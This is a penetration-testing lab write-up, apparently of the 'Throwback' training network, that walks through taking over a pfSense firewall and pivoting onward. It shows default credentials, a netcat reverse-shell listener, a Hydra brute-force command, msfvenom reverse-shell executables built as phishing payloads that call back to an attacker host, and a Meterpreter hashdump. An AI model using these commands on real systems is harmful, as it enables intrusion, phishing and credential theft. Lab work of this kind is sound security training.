Exploring the Caverns (Web Server Enumeration)
Working through THROWBACK-FW01, the pfSense firewall, to get a shell, crack a password, and pivot onward through the Throwback network.
THROWBACK-FW01 (10.200.34.138)
The default login for the firewall is admin:pfsense.
From here, navigate to Diagnostics > Command Prompt and execute a Pentestmonkey PHP reverse shell. First start a netcat listener:
nc -lvnp 6252
After getting a shell, check the log files:
find / -name *.log -type f
We have a username and password hash. Crack it via http://crackstation.net.
This gives the username HumphreyW and password securitycenter.
After trying it on the Throwback Hacks - Login Page, we find it's the same login for the panel located at http://10.200.34.232.
From here we navigate to the inbox and discover an email with a list of company employees.
Brute-Forcing the Login with Hydra
Next, create a names.txt file with the usernames to brute-force with Hydra. But first we need to identify the user and password parameters to build an http-post-form request. Using the browser's built-in Inspect Element feature, we found it:
Hydra command:
hydra -L names.txt -P pass.txt 10.200.34.232 http-post-form "/src/redirect.php:login_username=^USER^&secretkey=^PASS^:Unknown user or password incorrect" -v
We discovered a list of valid logins.
Phishing Payload
After digging around, we found that the user DaviesJ:Management2018 includes a VulnerabilitiesUpdate.exe file. Let's use this to our advantage and create a phishing email.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.50.31.168 LPORT=6666 -f exe > Cleaner.exe
This discovered a new IP: 10.200.34.222.
Meterpreter Session on the New Host
Let's see if we can get a Meterpreter session on it.
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 443
set LHOST tun0
exploit -j # runs exploit in the background until a session is established
We did, using:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f exe > CleanerMAX.exe
After migrating our session into a system process by typing migrate 4360, we were able to get a hashdump, but could not crack BlaireJ.
Next up is trying to attack http://10.200.34.219 - THROWBACK-PROD.